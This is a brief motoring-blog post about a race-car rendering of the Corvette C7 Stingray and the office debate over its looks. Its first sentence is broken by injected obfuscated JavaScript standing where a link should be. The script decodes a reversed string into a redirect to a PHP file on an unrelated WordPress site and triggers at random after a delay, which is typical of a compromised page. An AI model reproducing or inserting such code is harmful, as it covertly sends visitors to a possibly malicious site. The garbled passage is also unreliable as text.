So as the heated debate over the all new, and fresh as a daisy $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/new-corvette-stingray-havent-we-seen-this-before/” target=”_blank”>Corvette C7 Stingray, raged on in the office yesterday, there were two, maybe three very strong sections to the conversation.
One. Yes the car might be a bit of a ‘bitsa’ (bits of this, bits of that), but is that really an issue?
Two. A picture these days just can’t do any justice to the possible visual treat the car will provide in the flesh as well as being intermingled with other mundane cars on the road.
Three. It will look utterly incredible in full on hardcore race car guise.
We go to bed. We wake up. Jon Sibal has made it happen. Point three, check! For the rest, we have to wait for it to arrive on the streets of the Middle East. Hurry up GM.
Check out the rest of Jons amazing work HERE.
